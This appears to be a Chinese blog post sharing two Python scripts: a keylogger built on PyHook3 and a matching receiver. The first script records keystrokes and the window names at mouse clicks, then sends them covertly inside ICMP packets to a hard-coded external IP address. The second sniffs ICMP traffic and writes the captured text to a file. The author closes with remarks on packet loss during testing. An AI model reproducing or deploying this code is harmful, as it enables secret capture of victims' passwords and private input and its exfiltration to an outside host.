这个PyHook3还是非常难装的,用了作者提供的虚拟机环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
import PyHook3 import os from scapy.all import *
message='root'
def OnMouseEvent(event): global message message += '\n'+event.WindowName+'\n' if(len(message)>5): pinger = IP(dst="150.158.18.137") / ICMP(id=0x0001, seq=0x1) / message send(pinger) message='root' return True
def OnKeyboardEvent(event): global message if((event.Ascii<32)or(event.Ascii>126)): message+=' '
message += event.Key if(len(message)>5): pinger = IP(dst="150.158.18.137") / ICMP(id=0x0001, seq=0x1) / message send(pinger) message='root'
if((event.Ascii<32)or(event.Ascii>126)): message+=' '
return True
hm = PyHook3.HookManager() hm.MouseAllButtonsDown = OnMouseEvent hm.KeyDown = OnKeyboardEvent hm.HookMouse() hm.HookKeyboard()
if __name__ == '__main__': import pythoncom pythoncom.PumpMessages()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
from scapy.all import * from scapy.layers.inet import ICMP
def main(): while True: rx = sniff(filter="icmp", count=1) v = rx[0].load.decode("utf-8") if "root" in v: print(v[4:],end='') file_handle=open('1.txt',mode='a') file_handle.writelines(v[4:]) file_handle.close()
if __name__ == "__main__": main()
|
测试结果是,在内网通信正常,当发给外网的服务器(接收端)丢包比较多。然后两种情况下监听端程序容易突然中断。
这个大佬实现效果比较好,丢包率低。以后有时间具体研究一下。